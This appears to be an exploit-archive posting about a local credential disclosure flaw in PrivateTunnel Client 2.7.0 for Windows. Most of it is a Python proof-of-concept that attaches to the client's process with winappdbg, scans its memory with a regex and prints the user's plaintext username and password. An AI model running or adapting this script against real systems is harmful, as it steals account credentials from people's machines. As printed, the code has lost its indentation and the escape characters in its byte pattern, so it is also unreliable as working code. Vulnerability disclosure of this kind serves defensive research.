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PrivateTunnel Client 2.7.0 (x64) Local Credential Disclosure

Posted on 15 September 2016

#####
# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage @ https://www.privatetunnel.com
# Date 14/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
#####
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

usr = ''
pwd = ''
found = 0
filename = "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
print "###########################################################################"
print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
print "#		Bug Discovery by Yakir Wizman, Victor Minin		 #"
print "#		Tested on Windows Windows 7 64bit, English		 #"
print "#			Please use responsibly.				 #"
print "###########################################################################
"
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)

user_pattern = 'x20x22x70x61x73x73x77x6Fx72x64x22x20x3Ax20x22(.*)x22x2Cx0Ax20x20x20x22x75x73x65x72x6Ex61x6Dx65x22x20x3Ax20x22(.*)x22x0A'
for address in process.search_regexp(user_pattern):
memory_dump.append(address)

try:
usr = memory_dump[0][2].split('"username" : "')[1].replace('"
', '')
pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
except:
pass
print ""
if usr != '' and pwd !='':
found = 1
print "[+] PrivateTunnel Credentials found!
----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
if found == 0:
print "[-] Credentials not found!"

else:
print "[-] No process found with name '%s'." % (filename)

debug.loop()
finally:
debug.stop()

 

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